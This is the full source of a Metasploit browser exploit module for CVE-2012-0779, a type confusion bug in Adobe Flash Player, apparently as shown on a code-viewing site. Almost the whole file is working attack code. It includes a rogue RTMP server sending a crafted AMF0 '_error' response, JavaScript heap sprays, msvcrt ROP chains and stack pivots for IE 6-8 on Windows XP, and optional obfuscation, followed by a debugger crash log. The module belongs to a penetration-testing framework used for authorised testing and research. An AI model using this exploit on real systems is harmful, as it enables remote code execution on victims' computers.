Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flash_rtmp.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb10include Msf::Exploit::Remote::BrowserAutopwn1112autopwn_info({13:os_name => OperatingSystems::Match::WINDOWS,14:ua_name => HttpClients::IE,15:ua_minver => "6.0",16:ua_maxver => "8.0",17:method => "GetVariable",18:classid => "ShockwaveFlash.ShockwaveFlash",19:rank => NormalRanking, # reliable memory corruption20:javascript => true21})2223def initialize(info={})24super(update_info(info,25'Name' => "Adobe Flash Player Object Type Confusion",26'Description' => %q{27This module exploits a vulnerability found in Adobe Flash28Player. By supplying a corrupt AMF0 "_error" response, it29is possible to gain arbitrary remote code execution under30the context of the user.3132This vulnerability has been exploited in the wild as part of33the "World Uyghur Congress Invitation.doc" e-mail attack.34According to the advisory, 10.3.183.19 and 11.x before3511.2.202.235 are affected.36},37'License' => MSF_LICENSE,38'Author' =>39[40'sinn3r', # Metasploit module41'juan vazquez' # Metasploit module42],43'References' =>44[45[ 'CVE', '2012-0779' ],46[ 'OSVDB', '81656'],47[ 'BID', '53395' ],48[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info49[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],50[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]51],52'Payload' =>53{54#'Space' => 1024,55'BadChars' => "\x00"56},57'DefaultOptions' =>58{59'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'60},61'Platform' => 'win',62'Targets' =>63[64# Flash Player 11.2.202.22865[ 'Automatic', {} ],66[67'IE 6 on Windows XP SP3',68{69'Rop' => nil,70'RandomHeap' => false,71'Offset' => '0x0'72}73],74[75'IE 7 on Windows XP SP3',76{77'Rop' => nil,78'RandomHeap' => false,79'Offset' => '0x0'80}81],82[83'IE 8 on Windows XP SP3 with msvcrt ROP',84{85'Rop' => :msvcrt,86'RandomHeap' => false,87'Offset' => '238',88'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll89}90]91],92'Privileged' => false,93'DisclosureDate' => '2012-05-04',94'DefaultTarget' => 0))9596register_options(97[98OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),99OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),100OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),101], self.class102)103104end105106def get_target(agent)107#If the user is already specified by the user, we'll just use that108return target if target.name != 'Automatic'109110if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/111return targets[1] #IE 6 on Windows XP SP3112elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/113return targets[2] #IE 7 on Windows XP SP3114elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/115return targets[3] #IE 8 on Windows XP SP3116else117return nil118end119end120121def ret(t)122return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll123end124125def get_rop_chain(t)126print_status("Using msvcrt ROP")127p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem128p << payload.encoded129130code = ret(t)131code << rand_text(119)132code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})133offset = 2616 - code.length134code << rand_text(offset)135code << [ t['StackPivot'] ].pack("V")136return code137end138139def get_easy_spray(t, js_code, js_nops)140randnop = rand_text_alpha(rand(100) + 1)141142spray = <<-JS143var heap_obj = new heapLib.ie(0x20000);144var code = unescape("#{js_code}");145var #{randnop} = "#{js_nops}";146var nops = unescape(#{randnop});147148while (nops.length < 0x80000) nops += nops;149150var offset = nops.substring(0, #{t['Offset']});151var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);152153while (shellcode.length < 0x40000) shellcode += shellcode;154var block = shellcode.substring(0, (0x80000-6)/2);155156157heap_obj.gc();158for (var z=1; z < 0x185; z++) {159heap_obj.alloc(block);160}161162JS163164return spray165166end167168169def get_aligned_spray(t, js_rop, js_nops)170randnop = rand_text_alpha(rand(100) + 1)171172spray = <<-JS173174var heap_obj = new heapLib.ie(0x20000);175var #{randnop} = "#{js_nops}";176var nops = unescape(#{randnop});177var rop_chain = unescape("#{js_rop}");178179while (nops.length < 0x80000) nops += nops;180181var offset = nops.substring(0, #{t['Offset']});182var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);183184185while (shellcode.length < 0x40000) shellcode += shellcode;186var block = shellcode.substring(0, (0x80000-6)/2);187188189heap_obj.gc();190for (var z=1; z < 0x1c5; z++) {191heap_obj.alloc(block);192}193194JS195196return spray197198end199200def exploit201@swf = create_swf202203# Boilerplate required to handled pivoted listeners204comm = datastore['ListenerComm']205if comm == "local"206comm = ::Rex::Socket::Comm::Local207else208comm = nil209end210211@rtmp_listener = Rex::Socket::TcpServer.create(212'LocalHost' => datastore['RTMPHOST'],213'LocalPort' => datastore['RTMPPORT'],214'Comm' => comm,215'Context' => {216'Msf' => framework,217'MsfExploit' => self,218}219)220221# Register callbacks222@rtmp_listener.on_client_connect_proc = Proc.new { |cli|223add_socket(cli)224print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")225on_rtmp_connect(cli)226}227228@rtmp_listener.start229230super231end232233def my_read(cli,size,timeout=nil)234if timeout.nil?235timeout = cli.def_read_timeout236end237238buf = ""239::Timeout::timeout(timeout) {240while buf.length < size241buf << cli.get_once(size - buf.length)242end243}244buf245end246247def do_handshake(cli)248c0 = my_read(cli, 1)249c1 = my_read(cli, 1536) # HandshakeSize => 1536250s0 = "\3" # s0251s1 = Rex::Text.rand_text(4) # s1.time252s1 << "\x00\x00\x00\x00" # s1.zero253s1 << Rex::Text.rand_text(1528) # s1.random_data254s2 = c1 # s2255cli.put(s0)256cli.put(s1)257cli.put(s2)258c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)259end260261def on_rtmp_connect(cli)262263begin264do_handshake(cli)265request = my_read(cli, 341) # connect request length266267case request268when /connect/269rtmp_header = "\x03" # Chunk Stream ID270rtmp_header << "\x00\x00\x00" # Timestamp271rtmp_header << "\x00\x00\x71" # Body Size272rtmp_header << "\x14" # AMF0 Command273rtmp_header << "\x00\x00\x00\x00" # Stream ID274275# String276rtmp_body = "\x02" # String277rtmp_body << "\x00\x06" # String length278rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error279# Number280rtmp_body << "\x00" # AMF Type: Number281rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number282# Array283rtmp_body << "\x0a" # AMF Type: Array284rtmp_body << "\x00\x00\x00\x05" # Array length: 5285# Array elements286rtmp_body << "\x00" # AMF Type: Number287rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number288rtmp_body << "\x00" # AMF Type: Number289rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number290rtmp_body << "\x00" # AMF Type: Number291rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number292rtmp_body << "\x00" # AMF Type: Number293rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number294rtmp_body << "\x00" # AMF Type: Number295rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number296# Crafter Number297rtmp_body << "\x00" # AMF Type: Number298rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call299# Number300rtmp_body << "\x00" # AMF Type: Number301rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number302# Number303rtmp_body << "\x00" # AMF Type: Number304rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number305# Number306rtmp_body << "\x00" # AMF Type: Number307rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number308# Number309rtmp_body << "\x00" # AMF Type: Number310rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number311312trigger = rtmp_header313trigger << rtmp_body314315cli.put(trigger)316@rtmp_listener.close_client(cli)317end318rescue319ensure320@rtmp_listener.close_client(cli)321remove_socket(cli)322end323324end325326def cleanup327super328return if not @rtmp_listener329330begin331@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)332if @rtmp_listener.kind_of?(Rex::Socket)333@rtmp_listener.close334@rtmp_listener.stop335end336@rtmp_listener = nil337rescue ::Exception338end339end340341def on_request_uri(cli, request)342343agent = request.headers['User-Agent']344my_target = get_target(agent)345346# Avoid the attack if the victim doesn't have the same setup we're targeting347if my_target.nil?348print_error("Browser not supported: #{agent}")349send_not_found(cli)350return351end352353print_status("Client requesting: #{request.uri}")354355if request.uri =~ /\.swf$/356print_status("Sending Exploit SWF")357send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })358return359end360361p = payload.encoded362js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))363js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))364365if not my_target['Rop'].nil?366js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))367js = get_aligned_spray(my_target, js_rop, js_nops)368else369js = get_easy_spray(my_target, js_code, js_nops)370end371372js = heaplib(js, {:noobfu => true})373374if datastore['OBFUSCATE']375js = ::Rex::Exploitation::JSObfu.new(js)376js.obfuscate(memory_sensitive: true)377end378379swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource380swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"381382if datastore['RTMPHOST'] == '0.0.0.0'383rtmp_host = Rex::Socket.source_address('1.2.3.4')384else385rtmp_host = datastore['RTMPHOST']386end387388rtmp_port = datastore['RTMPPORT']389390html = %Q|391<html>392<head>393<script>394#{js}395</script>396</head>397<body>398<center>399<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"400id="test" width="1" height="1"401codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">402<param name="movie" value="#{swf_uri}" />403<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"404<embed src="#{swf_uri}" quality="high"405width="1" height="1" name="test" align="middle"406allowNetworking="all"407type="application/x-shockwave-flash"408pluginspage="http://www.macromedia.com/go/getflashplayer"409FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">410</embed>411412</object>413</center>414415</body>416</html>417|418419html = html.gsub(/^ {4}/, '')420421print_status("Sending html")422send_response(cli, html, {'Content-Type'=>'text/html'})423end424425def create_swf426path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf" )427fd = ::File.open( path, "rb" )428swf = fd.read(fd.stat.size)429fd.close430431return swf432end433end434435=begin436437* Flash Player 11.2.202.228438439(348.540): Access violation - code c0000005 (first chance)440First chance exceptions are reported before any exception handling.441This exception may be expected and handled.442eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000443eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc444cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202445Flash32_11_2_202_228!DllUnregisterServer+0x300e84:446104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]447ds:0023:44444470=????????4484490:000> u eip450Flash32_11_2_202_228!DllUnregisterServer+0x300e84:451104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]452104b1b30 53 push ebx453104b1b31 ffd0 call eax454455=end456457458